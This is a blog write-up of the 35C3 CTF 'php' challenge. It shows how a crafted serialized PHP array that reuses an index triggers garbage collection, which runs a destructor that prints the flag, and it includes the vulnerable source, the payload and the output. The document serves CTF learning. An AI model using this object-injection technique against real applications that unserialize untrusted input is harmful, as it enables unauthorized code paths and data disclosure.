35C3 CTF Write-up: php

php (web)

PHP’s unserialization mechanism can be exceptional. Guest challenge by jvoisin.

Files at https://35c3ctf.ccc.ac/uploads/php-ff2d1f97076ff25c5d0858616c26fac7.tar. Challenge running at: nc 35.242.207.13 1

This challenge exposes a service written in PHP, and as you can guess, it has something to do with unserialization.

The single source file is straightforward to understand:

<?php

$line = trim(fgets(STDIN));

$flag = file_get_contents('/flag');

class B {
  function __destruct() {
    global $flag;
    echo $flag;
  }
}

$a = @unserialize($line);

throw new Exception('Well that was unexpected…');

echo $a;

Your goal is to get the flag printed by somehow getting the destructor of class B to execute.

Let’s Dive In!

Being unfamiliar with PHP serialization, a quick Google search for “php serialization exploit” took me to a blog post by NotSoSecure. It, too, had an example with the exact same pattern of a class destructor.

Quick tip: you don’t need Apache and the whole shebang to run the PHP script, just apt install php-cli for a minimal environment.

First try is to have unserialize create an instance of class B, maybe then the Exception will cause it to call the destructor? Let’s start by learning how to serialize a class B instance first:

$ php -r 'class B{} echo serialize(new B);'
O:1:"B":0:{}

To breakdown the serialization format, it’s:

O:             | indicates an object, 
  1:"B"        | with a one-letter class name "B"
       :0:{}   | with zero constructor arguments

Let’s try it:

$ echo 'O:1:"B":0:{}' | php php.php
PHP Fatal error:  Uncaught Exception: Well that was unexpected… in php.php:16

Well, that was… unexpected.

Triggering the Destructor

Looks like the exception didn’t cause class B to be destroyed in the process. We need some method to force GC somehow.

Another quick Google search with additional keywords “trigger GC” found a relevant post by Evonide, specifically under the section “Triggering the GC during Unserialization”.

According to the article, it looks like the key is to unserialize an array but re-use an earlier index, causing it to trigger GC. In PHP code, it should behave like the following:

$a = array();
$a[0] = new B;
$a[0] = ...      // AHA!

Let’s get PHP to serialize an array for us to see how that looks like:

$ php -r 'class B{} echo serialize(array(new B, new B));'
a:2:{i:0; O:1:"B":0:{}  i:1; O:1:"B":0:{}}

I have added spaces in the output for legibility. The array is defined using a:<num_items>:{...}. Within the braces, it seems that array contents exist as index-value pairs, where i:0 and i:1 indicate integer values 0 and 1.

Let’s see if we do indeed trigger a GC if we set both indices to be the same value:

$ echo 'a:2{i:0;O:1:"B":0:{}i:0;i:0;}' | nc 35.242.207.13 1
35C3_php_is_fun_php_is_fun
PHP Fatal error:  Uncaught Exception: Well that was unexpected… in /home/user/php.php:16
Stack trace:
#0 {main}
  thrown in /home/user/php.php on line 16

Et voila!

This entry was posted in CTFs.

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.